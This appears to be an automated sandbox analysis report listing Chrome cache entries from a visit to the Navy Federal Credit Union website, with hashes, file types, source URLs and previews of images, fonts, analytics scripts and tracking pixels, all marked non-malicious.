Encrypted:	false
SSDEEP:	3072:vFse3IL5uUE6ItSZro77UeRddmStOnLWbzIyG30WnHL1jl/00E89V7:/3IL5l2hRLmfLaSn80X9V7
MD5:	9AD7C68EEEFC2FD1BB3197937E69E773
SHA1:	6B961FF4AAB249E802CDC2FE9936E29E79F8D206
SHA-256:	A926FDAAD679FEB4071575A97C73F49FFCF972457B44A92E516E103767004BD2
SHA-512:	A3E38AB04F4FCE378E2AE561854BA204B67A175DEB1691E6D658808C899FB4D926E216C621BC18FF24BC4196BC0E9A58CF13E30926A248CFADB44ABFF4D0A432
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/Gfhafp482/XFKa/E4TzQ/OJu9wSXtQr5YJE/PxVSYg/UFYINEV/lY1E
Preview:	(function PkVGvtMcYl(){function zEX(a,b){return a.charCodeAt(b);}VX();function EEX(a,b,c){return a.indexOf(b,c);}VEX();LEX();var HkX=RkX();var W9X=MkX();GkX();PkX();var v9X=fkX();var d9X;var bX=nkX();function nkX(){return [CkX,QkX,qkX,-JkX,-gkX,IkX,rkX,-FkX];}var IA=function(){rA=[".U4..","_..B!.\vLIWO2/2.","X\x3f.!)2R.&[0..PH\b","_..Q(","c","8.R[.J,/!\vMH..VUL\x00%","l.W\"#f\"Z.& BF","4..,2H\x3f.[$..","G..M","&FD\b.8\\6..&",".}/5f.3>k.\x3fg\r\x07.<x&\x00.lf3..,",".\\.\n-NB.=..j/\t\b:","hh(l...0q)\r\x07q","f7:\'OW. >.f>..3\"].."," .\vLn.\\%\x072",".WC.W7",".4.VL.L/+\'.","\x00.-$Y1.]\".","..GC.]2.\'\x07].=+L\\\x00%..J..\v>3Y.","..\vLH.y24\'.{./$F\x40",",>F.",".P4..nd\t\x40S","o","\bVnYG\n.W\nqh,.","...U4..+>S.","-MY.0>.","...ZH.LoqhS","B.&\x3f.M\"\x00.","[.\b","W\tqs",".W!\x00.J..{.##.z\x07\',FQ. $.","9s.;&{~","\b.]r.\\/.6\fX.\'$B.W9-.c..\x079;c6.\x40\".",".9]..[5.(Q_.]2","%B_\f(","\"._\t<.W","\"Z. 4Fj.+!.Z/",".\v\f#N..U.\n\r","<","IH..\f.#\r]\r;\'Q","+\fC+&,MW.=\".W","P\v.\x00d","wZ.

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 320x214, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	6262
Entropy (8bit):	7.966911033443114
Encrypted:	false
SSDEEP:	192:it0DeDx3uw+QiYOlU/NdzdQgF+xwJb5DQWAbIz:kjx3H+adSgFA2QLIz
MD5:	A5C8DCFD56406FD9792B905D3628454F
SHA1:	559585C095FF1353E5216C8B870F9F99A761B722
SHA-256:	12E0FDF3EC16BF3E64358A21C308D271EC48CD121F491E714D9AD2AF64332ECD
SHA-512:	24480BA656DA299A28D7D7EC9B89F915518F1FAF45CB09945686EFA23A94A23E2A17FEFA0413E1D963E9F3E16EDF0DDA9FCC0EACB9B20DCB30EB2A91316B44F5
Malicious:	false
Reputation:	low
Preview:	RIFFn...WEBPVP8 b........@...>.F.K%..$.K.@..c.....a.^.&J...........~e\|..&}..Oz.~.u..7.I....MI...1..~aD;.....)..FQ.C..d.P.f.G....B.6D.d..o..$c.ur.-....N.k.WnSH..j.f.V.h-..."....2........./t..0...>8..a....j..xN.J<%.._...".../..H8.......2$.W7.(.....7e..N.gM....m......h..........X5....7e>7&...o9..L.{5....9....PIb............4......XXT.W...."=.w.).B.=...V$..EK?.zD\|dNb.B.....{..3.vW.....Z.x%..5y;'.}..i.....xpn..-.4...;.....H..Zqe.[..".N.w......N-..^..+r........`_...!W..o^&....E<...........4.,...A.....r..yj.k..?...1R......>x._Of..N....."........v[h.).KPV.V`..n.l.]...D`....W....P'....`....e..2.P...-...tJ.T..T"u......FP..mv.`.........^..R.N...E.yy...........:!..s]...h....:.(..h/..kNG....x.<g0......Plqm.B....Ut.KE.T....ky..gp....U....\.....M...Rh........6.U.........~.=V`...HL..k...<.....ZYLRd.I.Q.c....G7,..Q.o..+...7.Z...j..F=...Z..........>..%.......=..1pTM.0@..^.........../.(ql.<m.Q]...s.1....:.0.W......1@.k..t....U..6...:.'/...

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	8972
Entropy (8bit):	4.888088591257187
Encrypted:	false
SSDEEP:	192:SJRc3GRbvwUk1RVy3rkEoMSIX/8qpbppui3bu46R0n:0c3GEy3rwMnUobppVm6n
MD5:	731C636340F99EF3BBF5D00B1C0157F9
SHA1:	1B3C13C4DB9CAD50E340DEDDB05F63533F6C4E6F
SHA-256:	BF698E25CFE27B30CF34F6490E13C0C857597362D03E622445CC959B30DC42D4
SHA-512:	711FAD78174A87A48340EFAFE42FE512A6FFDD363A7B364B46FC887A214BE4754A8C5B88E1F09A2AC32AB043A681FE80565EE73E8065E79E61AB01334CAEB986
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 80 80">. <defs>. <style>. .cls-1 {. clip-path: url(#clip-car-money-tag-arrows);. }.. .cls-2 {. fill: #003056;. }.. .cls-3 {. fill: #2280bf;. }.. .cls-4 {. fill: #fff;. }.. .cls-5 {. fill: #ea7923;. }.. .cls-6 {. fill: #1f72b5;. }.. .cls-7 {. fill: #dcebf8;. }.. .cls-8 {. fill: #7ab4e2;. }.. .cls-9 {. fill: #257abe;. }.. .cls-10 {. fill: #005c90;. }.. .cls-11 {. fill: #036;. }.. .cls-12 {. fill: #0f3d70;. }. </style>. <clipPath id="clip-car-money-tag-arrows">. <rect width="80" height="80"/>. </clipPath>. </defs>. <g id="car-money-tag-arrows" class="cls-1">. <g id="Group_5402" data-name="Group 5402" transform="translate(-188 -1102.05)">. <g id="Group_5388" data-name

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2561), with no line terminators
Category:	downloaded
Size (bytes):	2561
Entropy (8bit):	5.7823012252727395
Encrypted:	false
SSDEEP:	48:cIqB+shXU2+sq3r+shn+shf2+shnSmXnNYXrn4VbkzmYLiS3FGDRXOgCab8pI:chYshXUpsqSsh+shfpshZXnNYXr4VQzg
MD5:	4F38543110EDCB421B5939E4D804EAC5
SHA1:	6B4895FA8D11CA9D9EB9C0B1DC8BD76F22A42EEC
SHA-256:	62E026B593CEFF8BAB34AA3506F8E1F9BBAC4D4DB45143D9A78445430D545C9D
SHA-512:	7AB1110425F1E29A78FCBD8C4239D084BF12EC89BAA5C3B0FF2DD1FA47C9DE73BB2E71768B4CC355BEE15350A9666061562431BED9B6E9A0BAABC1F305B82945
Malicious:	false
Reputation:	low
URL:	https://accdn.lpsnmedia.net/api/account/11478817/configuration/le-connectors/all-connectors?cb=lpCb44781x94576
Preview:	lpCb44781x94576([{"id":4448278838,"deleted":false,"name":"https://login.microsoftonline.com/4cb791f1-02d1-4a4e-8610-911ee57bb08c/v2.0","type":1,"configuration":{"jwtValidationType":"JWKS_ENDPOINT","jwksEndpoint":"https://login.microsoftonline.com/4cb791f1-02d1-4a4e-8610-911ee57bb08c/discovery/v2.0/keys","rfcCompliance":true,"issuerDisplayName":"https://login.microsoftonline.com/4cb791f1-02d1-4a4e-8610-911ee57bb08c/v2.0","issuer":"https://login.microsoftonline.com/4cb791f1-02d1-4a4e-8610-911ee57bb08c/v2.0","preferred":false,"authorizationEndpoint":"https://login.microsoftonline.com/4cb791f1-02d1-4a4e-8610-911ee57bb08c/v2.0","jsContext":"window","jsMethodName":"lpGetAuthenticationToken","pkceEnabled":false}},{"id":236355214,"deleted":false,"name":"nfcu","type":2,"configuration":{"tokenEndpoint":"https://onlinechat-sso.navyfederal.org/affwebservices/CASSO/oidc/lengage/token","jwtValidationType":"PUBLIC_JWT_KEY","jwtPublicKey":"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAlMksXW/wCaxMyJoNUM

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (47653)
Category:	downloaded
Size (bytes):	47656
Entropy (8bit):	5.4575391401031785
Encrypted:	false
SSDEEP:	768:ZBoEqoizICN2RANT8BPWUwcyt54vE84MlpCCOnVDCA/60ozzk8al4:ZqVTT8BunCvJl7OQAXozz0e
MD5:	48ED7AE7E685F5469D86B54CC802F8EB
SHA1:	E88318F6E8B0D255D2D5CB684A4DF120437AE610
SHA-256:	899D1EC3C095342571D3BE2091EC6F984D4CC82390D1F61945C391FA035B00D9
SHA-512:	FC3597F228DCC171ED1537C39DCD2D4F0CB093AD1B202695FB686276261BDF86C16D8550374A8EE72A353A8CF24F87B04F41E1ACB9D7F4B40A7624FAE79289A2
Malicious:	false
Reputation:	low
URL:	https://snap.licdn.com/li.lms-analytics/insight.min.js
Preview:	!function(){"use strict";function t(t,n,e){return n in t?Object.defineProperty(t,n,{value:e,enumerable:!0,configurable:!0,writable:!0}):t[n]=e,t}var n,e,r,o,i={ADVERTISING:"ADVERTISING",ANALYTICS_AND_RESEARCH:"ANALYTICS_AND_RESEARCH",FUNCTIONAL:"FUNCTIONAL"},a="GUEST",u="MEMBER",c=0,l=1,s=2,f=(t(n={},a,"li_gc"),t(n,u,"li_mc"),n),d=function Qe(){var t=arguments.length>0&&arguments[0]!==undefined?arguments[0]:null,n=arguments.length>1&&arguments[1]!==undefined?arguments[1]:null,e=arguments.length>2&&arguments[2]!==undefined?arguments[2]:null,r=arguments.length>3&&arguments[3]!==undefined?arguments[3]:null;for(var o in function(t,n){if(!(t instanceof n))throw new TypeError("Cannot call a class as a function")}(this,Qe),t=t\|\|{},this.consentAvailable=!1,this.issuedAt=n,this.userMode=e,this.optedInConsentMap={},i)t[o]=t[o]\|\|c,t[o]!==c&&(this.consentAvailable=!0),this.optedInConsentMap[o]=t[o]===l\|\|t[o]===c&&r===l},v=(e=[i.ADVERTISING,i.ANALYTICS_AND_RESEARCH,i.FUNCTIONAL],r=[c,l,s,c],o=new R

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	6970
Entropy (8bit):	7.917444679480194
Encrypted:	false
SSDEEP:	192:+zCVddSYChOqsoCqw8NnIdpEXX8j1y8HooE517S+rzzkBXJ/sG5n:SssFhOIBw81vXQ1y0E5VSb9
MD5:	A60B3C4FB1C64757405A922E4BC82CB8
SHA1:	1093781D42E56506A1F7B32BCB02C49E7FA25EA5
SHA-256:	21319CDB7472DA0EAB14BC62685FF69254159D05C8A9B11846B6E3E1CBF9D560
SHA-512:	1DBFEC37599EFF72DA0B7B6A3D6AB148582FF7B06244653E049CECE8B3D7B95B0F29D92D22D6C43C83685C5F695B79B542AF6A395FE7010523005382E121FEFE
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/TrueCar_A31635_Container?qlt=80&wid=320&ts=1713887816014&fmt=png-alpha&dpr=off
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm.........,iloc....D................G.............>...Biinf..........infe........av01Color.....infe........av01Alpha.....iref........auxl..........iprp....ipco....ispe.......@........pixi............av1C........colrnclx...........pixi..........av1C.......8auxC....urn:mpeg:mpegB:cicp:systems:auxiliary:alpha.....ipma..........................mdat.....!..l2.....$P..=.U..}...U.a...KB......~.K...Z/<./..LH4.g.2TG3..3..}.....q.J.iNz..Q....z...Yi0..A...#..\|q6./.Tx.t...h...(,D.A-Z{.W....Gl..a..6.'(.'.9_W..Q...o}.ah...67W....q.0.5.....#K......O....P..9T.kn+L..]..H.S.!.Sj%#kjO..y.X=uk.@.'..:P.r.f>.Bj..[...w.....ju....O...W.-...\....8.6....X\.y.....".K...x...>}...l..l.h!.o.H.=...E.[.=.P.+J..o..]...n......mb..vV....".......a...}.qC."....z..j]PB.]$N.I.x.Qr..3"J.Y..n...J.k...?..s.E.P../..9.cm(u:2..]R......<....AkM}`.....mG.G.....S7.T._....c.\|.p,.6..F.b.\#...;..k8..<....tJ..D.<z.R\|...

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://b.videoamp.com/d2/bf474ba2-6d98-11ec-9997-2d0ad9c70a7f/2873/impression?dnt=false&vpxid=2873&bwb=35&us_privacy={{US_PRIVACY_STRING}}
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	10102
Entropy (8bit):	7.969703555759281
Encrypted:	false
SSDEEP:	192:p5C4vnUvnqC5rjb5WF+MGx9TBWBGFxnh5DRccBuRrbM4u+Pz5V:p5C4InrlWkMGn5FZh5DqcIM4vrP
MD5:	FBF85A957AF7F2F06CF6878F68CAB616
SHA1:	003C9BF6F708C41153C78E1B9E07B7D22126089A
SHA-256:	C7131BDB5F0CD0137049B576EC6C1A67D58401074B223BB86D4F1BF1C509598F
SHA-512:	7B59A12E8DDF646D422CD1E1E9E5883D0685047B10B6381EE933CC225530EC087488A23B326C9A5A52C79190EB4BBEEF03BE05738027DD2383A39A0DFEF3E8D9
Malicious:	false
Reputation:	low
Preview:	RIFFn'..WEBPVP8X........?.....ALPH].....Dm.H.=...w ".?.`..}....%.@...$.o>AD.n.....'Y"&`..a...i....kl%.%F....noC....P..SwG...-Pw..B.@q.$.d.2.z.......s+"&........]:g....rVH.]".g..$Wo<4../^4vW....tkZ6..cF....7.Jh....gTY<Q=j....8._....3...l..S.<I....\|.s..3.`@...A.@...\|..d,.X......w.D..2._z..x{....l..r(d..C..:.I.......F......v...[o.W+.R"..$A..Y.t..D..].-....t.....L...,..NS.C....G%...!,S#....D.9.[U....-.RGr.....X....j.u-..Tk},...1!..Y.S)..C...`....d...mL$....pv/LJ...HaA^~..4......,.m=...9..T<.r.u....H.`..o.KG.p.!..T....jJ..2.... .m&.0..5..ZW.i[Ks......?.~.@z..0r.......8#..[:...Mk>]_..hR.Z....I?.C.V.3........u[........L..s......~.qC.....:...'...~.7.N.P ..N.A.tJ!..1......T_.....g.)E...7LR.k...e.....\.Vmv.7...?...3..'.E.R.q..j9.G_0:....n.....F...LS.Z...}...H.Y..I...sks....nu........Hh....4..>...l...T..I....!'.@.[....Y.....H.......n.....D%:Y.....0. b.3.....L...."t...w..A..;:...9%.a.]..T&0p...kP..f...C...24e.............\|b.........Yh...V%x...

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1089
Entropy (8bit):	5.065665725260646
Encrypted:	false
SSDEEP:	24:tu1Mz4nprFn8G0qV+BUFyu1hP2gududaRAhTCP+LRI:0BpqZBU31hReRcVdI
MD5:	18CEA930671431CDE287462C79D1BB0B
SHA1:	63B568A8A88A92210332DF3B06D274D7191A0942
SHA-256:	C54B3AC522F7D7B64E09A21452BC84A75DFE936F995E3C0792A94511A5E9ECFE
SHA-512:	9A62E9FE63FA903FB5EE99953CFB6636E9DAC9813DE2371C8D3D5173413BCC440FBAC897DA861C3A6C08BF667E0DEC2ED86524B571B1BC277373B2FD518C2D60
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/content/dam/icons/single-tone/blue/global-rates-bar-certificates.svg
Preview:	<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 216 216"><defs><style>.cls-1{fill:#1e69b3;}</style></defs><title>39337 (9-20) - DC_Global Rates Bar SVG Icons (9-20)</title><path class="cls-1" d="M108,7A101,101,0,1,1,7,108,101.12,101.12,0,0,1,108,7m0-7A108,108,0,1,0,216,108,108,108,0,0,0,108,0Z"/><g id="document-star"><g id="document-star-2"><g id="Group_3831" data-name="Group 3831"><path id="Path_1463" data-name="Path 1463" class="cls-1" d="M153,79.19v-.46h0c0-.09-.09-.18-.09-.37v-.09c0-.09-.1-.18-.1-.28h0c-.09-.09-.09-.18-.18-.28a.09.09,0,0,0-.09-.09h0l-.27-.28-31.17-30.9-.28-.28a.09.09,0,0,1-.1-.08h0c-.09-.09-.18-.09-.28-.18h0a.31.31,0,0,0-.27-.1h-.09c-.09,0-.18-.09-.37-.09H68.64A5.47,5.47,0,0,0,63,51V164.66a5.6,5.6,0,0,0,5.57,5.64h78.79a5.6,5.6,0,0,0,5.64-5.56V79.19ZM75.67,88.44h62.44v5.64H75.67Zm0,12.67h62.44v5.64H75.67Zm0,12.57h62.44v5.65H75.67ZM99.9,132H75.67v-4.17H99.9Zm33.39,27.93-10.63-5.64L112,159.93l2-11.84-8.6-8.42,11.93-1.75,5.37-10.82

Chrome Cache Entry: 301

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1572)
Category:	downloaded
Size (bytes):	37822
Entropy (8bit):	5.5647044681074584
Encrypted:	false
SSDEEP:	768:8egW1iLAWdbcMCw5Kqjjm4KtPcM573A43FM:8egW1in
MD5:	1FCD6CB0AC3E69FE4188FCFCECE54B5E
SHA1:	827ECE7760ABD2F8CC83B781B8C2FEF210A586FF
SHA-256:	2DC6609007A0B759A3D3E3437F0766116E13EB954CB7F457110A3B24F0C0345C
SHA-512:	BE0B511BC003E633E44303306DF0BCA6C14A84EDAB87B0FF14BB288ED6B78DD9DDD35475CBD447B7369D0047DBF622FD8DC8B5325F738B1183D64B8D1B3CECC4
Malicious:	false
Reputation:	low
URL:	"https://fonts.googleapis.com/css?family=Roboto:300,400,500,700\|Google+Sans:400,500,700\|Google+Sans+Text:400&lang=en"
Preview:	/. See: https://fonts.google.com/license/googlerestricted. /./ armenian /.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v59/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPiIUvaYr.woff2) format('woff2');. unicode-range: U+0308, U+0530-058F, U+2010, U+2024, U+25CC, U+FB13-FB17;.}./ bengali /.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v59/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPiAUvaYr.woff2) format('woff2');. unicode-range: U+0951-0952, U+0964-0965, U+0980-09FE, U+1CD0, U+1CD2, U+1CD5-1CD6, U+1CD8, U+1CE1, U+1CEA, U+1CED, U+1CF2, U+1CF5-1CF7, U+200C-200D, U+20B9, U+25CC, U+A8F1;.}./ cyrillic-ext */.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v59/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_I

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3986
Entropy (8bit):	7.865884831388845
Encrypted:	false
SSDEEP:	96:gBwOc5DGZQhi4xSknvPvstcLRPdZTKR/9lp/pkwrxLKj:GVc5CF4xjHEcL5d1Olf2wVo
MD5:	46E90CA6CB1983A20217B0CC06289689
SHA1:	9222D5E782CBE7DBB5BE663EAA34315A74C8817B
SHA-256:	393F4843E2B52F6BF88264AD2A7674FBB411D76C2FDAE300727BE34A14480D47
SHA-512:	783AD0BF525BFB224AAB82957DC725436B711762D20838D8A0B53B86BC69FA695E7853254CA6D1F614C54CC88232CD472D3A6512F89664A8881046020FA42503
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs................cPLTE.......................................QST........... !$<=?..._ch./2......................6.....IDATx....v.E...f.<U.._^..$Jv....).......x.. Hz.......2)e.[.)..U...r(...z..^..../.).. ..1.4.}V...M{..a8.Je.....2..P..L...f......t.'U..-.E... ..E..m.o.r.U..:.T!S.2..z.\|R....(..F..2...}.T..+.J.... I.x5....[:.7P ...H.H..x...4.@.r.....J..S.U..TWx.TF..`.]...\|..$.pSN.Y.b...Vh.u....`.......Z.:...{...".s..[.Y....[......Y..k........z.P.5.5......N....0..v;.'...u.(]...)..........9.Z.U..F."@"v.^x&...u...W...M.. @]....!U...%".`;...ut...M.5=4...l........H...Z.Np.x..{.o........H.E.j\|.)..~...(%?.E..ue. "B.P.........P......$..i.UWM.0.a...../.....O.....3l..}..?..Qf.J.C..eQ.!L...W."3...!O7..%..BA\|1.8.....E.D)..;f.!k....../o.W..\^bU...n...he9...`..*r.)@...F&.j.`..yj.O.._!...\|../..-.hXn.@...#t.3.....ZO...R>........&<;.o....n..o,z..I8..!C%...H.&.` ..:E.O...K, h..S,......`.,...4L......cM6......eQ... .T...sh

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	249
Entropy (8bit):	5.0551815106659985
Encrypted:	false
SSDEEP:	6:6v/lhPktk/m5lH1aRKtsik4+r5a6C132pv/sup:6v/7Fm5lVaxiH+Nw1GN/N
MD5:	455C2CB3334E5795780ECEFAE7A8D7B2
SHA1:	84673159FFCE04CA2878126413D802695DDA4FF6
SHA-256:	5BB3DBB110579B5683F4B682877782EEB9C649ADC5B959AAF7F29FB4B059D87F
SHA-512:	8606F048E812A4D59FE3152C2F6EECD9386F1F358DAF46DA5512CF94554477255DDC995D46EF17BDE26F7FEF5F2A9F4A338670E6E58D8D57FC0C0738A77BF068
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE.........WW[...... $...>s.....IDATx...... .@A............+......................................................................x&?..<f-?..~gP.................f.......0......IEND.B`.

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0950611313667666
Encrypted:	false
SSDEEP:	3:CUMllRPQEsJ9pse:Gl3QEsJLse
MD5:	AD4B0F606E0F8465BC4C4C170B37E1A3
SHA1:	50B30FD5F87C85FE5CBA2635CB83316CA71250D7
SHA-256:	CF4724B2F736ED1A0AE6BC28F1EAD963D9CD2C1FD87B6EF32E7799FC1C5C8BDA
SHA-512:	EBFE0C0DF4BCC167D5CB6EBDD379F9083DF62BEF63A23818E1C6ADF0F64B65467EA58B7CD4D03CF0A1B1A2B07FB7B969BF35F25F1F8538CC65CF3EEBDF8A0910
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUmExltxlHh/:Jb/
MD5:	FC94FB0C3ED8A8F909DBC7630A0987FF
SHA1:	56D45F8A17F5078A20AF9962C992CA4678450765
SHA-256:	2DFE28CBDB83F01C940DE6A88AB86200154FD772D568035AC568664E52068363
SHA-512:	C87BF81FD70CF6434CA3A6C05AD6E9BD3F1D96F77DDDAD8D45EE043B126B2CB07A5CF23B4137B9D8462CD8A9ADF2B463AB6DE2B38C93DB72D2D511CA60E3B57E
Malicious:	false
Reputation:	low
URL:	https://load77.exelator.com/pixel.gif
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1167
Entropy (8bit):	5.296486631350944
Encrypted:	false
SSDEEP:	24:tu1Mz4nprFSg9gGHfb2km4GRXk8mf/1Pf/eJw:0BpMugebOk8m/1PfmJw
MD5:	DB98B64D096749D57EFBA148232DD97E
SHA1:	711AC4102E4CA35D04057597BC3D2E923188AA09
SHA-256:	8FE72CDB7C4CA1A4AF46BF9BCFA847FD32D9326BCCC6B81D50164C842344D6B5
SHA-512:	71D47AEC0318B8503080D654D9E1A6D91A41B83E837C644E913DFB0FF7947033B6B7834E9AD2CCA7454ACAFD1EBB9FF8E909DDE29212E62AFB95FD2C7558E667
Malicious:	false
Reputation:	low
Preview:	<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 216 216"><defs><style>.cls-1{fill:#1e69b3;}</style></defs><title>39337 (9-20) - DC_Global Rates Bar SVG Icons (9-20)</title><path class="cls-1" d="M108,7A101,101,0,1,1,7,108,101.12,101.12,0,0,1,108,7m0-7A108,108,0,1,0,216,108,108,108,0,0,0,108,0Z"/><g id="Group_5467" data-name="Group 5467"><g id="Group_3615" data-name="Group 3615"><g id="Group_5467-2" data-name="Group 5467-2"><g id="Group_2702" data-name="Group 2702"><g id="Group_2701" data-name="Group 2701"><path id="Path_972" data-name="Path 972" class="cls-1" d="M90.6,122.78v51.86h73.9V122.78Zm64,42.35h-52v-5.78H154.6Zm0-12.78h-52v-5.78H154.6Zm0-12.88h-52v-5.78H154.6Z"/></g></g></g></g><g id="Group_3947" data-name="Group 3947"><g id="Group_3946" data-name="Group 3946"><path id="Union_1" data-name="Union 1" class="cls-1" d="M63.11,167.68a5.86,5.86,0,0,1-5.88-5.83V104.33H45.48a3.27,3.27,0,0,1-3.08-2,3.14,3.14,0,0,1,.67-3.55L102,42.29a3.46,3.46,0,0,1,

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	159
Entropy (8bit):	5.536474645068881
Encrypted:	false
SSDEEP:	3:YE/BHfrETdiTA6Ie/FHxdkuVxttQUQo/mIDm279nQew1M6HX6MBuRMLTN:YEpfrETdiTA6IeNHxPV5QUQMnQ6knsRI
MD5:	8867924CDDBC97A74572BDF3C1A99134
SHA1:	9ACDB5D71B7B25E1BFE9C797F3579DB14A3133EE
SHA-256:	83E16D30D8443FB66B01C4038E8D06BA0EA63967E03EB606B1C222D6740C02F1
SHA-512:	262C6D26BDD9496857D70D2C12A4FA0227E55C46A84C774D04804B1635FBEE249C4D2C66813B09D18A7C066CDEDE2043927868424EDB4FA884AD787AF744D689
Malicious:	false
Reputation:	low
URL:	https://people.api.boomtrain.com/identify/resolve?data=eyJjb29raWUiOnsiYnNpbiI6IiJ9LCJxdWVyeXN0cmluZyI6e30sImV4dGVybmFsX2lkcyI6eyJ6eW5jIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In19&site_id=navy-federal-credit-union
Preview:	{"app_id":"navy-federal-credit-union","bsin":"TXpHsrHN64ftiBMINg3THHWuv7e14GRns2MXVEMnwlnIsJ1fhGYhuVSYOAlmjsjrAU/NVu5nzfAj//vKkXi7KQ==","is_identified":false}.

Chrome Cache Entry: 309

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.687144312913345
Encrypted:	false
SSDEEP:	3:CU9yltxlEun:Vu
MD5:	00657DD79637A8DAF5E6196CA17F1887
SHA1:	3E064855D1FE7C6EAC52981A646EC5840BA7EFB5
SHA-256:	F0C71E3DA5B3FCAB3C66AF1CF0CDBF262C97B9330B7B37116F1AE2AB18BDC660
SHA-512:	27524EAAD778B2C220D655BAE2AC4A6C4CF54112FAF9133E34A4C25C3CD2A8A04CB7CEC35A09F80D4F51DFC73B1F94C63BBC92171220FE83F6F0BDB204645485
Malicious:	false
Reputation:	low
URL:	https://collector-11598.tvsquared.com/tv2track.php?action_name=Navy%20Federal%20Credit%20Union%20%7C%20Banking%2C%20Loans%2C%20Mortgages%20%26%20Credit%20Cards%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=104600&h=18&m=45&s=58&url=https%3A%2F%2Fwww.navyfederal.org%2F&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=1&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=578
Preview:	GIF89a.............!.......,...........(.;

Chrome Cache Entry: 310

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0950611313667666
Encrypted:	false
SSDEEP:	3:CUMllRPQEsJ9pse:Gl3QEsJLse
MD5:	AD4B0F606E0F8465BC4C4C170B37E1A3
